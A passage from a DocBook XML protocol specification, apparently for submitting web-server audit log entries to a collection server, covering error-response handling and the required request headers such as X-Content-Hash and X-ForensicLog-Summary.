transported.</para>
</listitem>
<listitem>
<para>500 (Internal Server Error) - if the server was unable to
correctly process the submission, due to its own fault. The
client should re-attempt delivery at a later time. A client that
starts receiving 500 reponses to all its submission should
suspend its operations for a period of time before
continuing.</para>
</listitem>
</orderedlist>
</listitem>
</orderedlist>
<note>
<para>Server implementations are advised to accept all submissions
that correctly implement the protocol. Clients are unlikely to be able
to overcome problems within audit log entries, so such problems are
best resolved on the server side.</para>
</note>
<note>
<para>When en error occurs, the server may place an explanation of the
problem in the text part of the response line.</para>
</note>
<section>
<title>Request Headers Information</title>
<para>Each audit log entry submission must contain additional
information in the request headers:</para>
<orderedlist>
<listitem>
<para>Header <literal>X-Content-Hash</literal> must contain the
audit log entry hash. Clients should expect the audit log entries
to be validated against the hash by the server.</para>
</listitem>
<listitem>
<para>Header <literal>X-ForensicLog-Summary</literal> must contain
the entire concurrent format index line.</para>
</listitem>
<listitem>
<para>The <literal>Content-Lenght</literal> header must be present
and contain the length of the audit log entry.</para>
</listitem>
</orderedlist>
</section>
</section>
</section>
</article>
Reference in New Issue View Git Blame Copy Permalink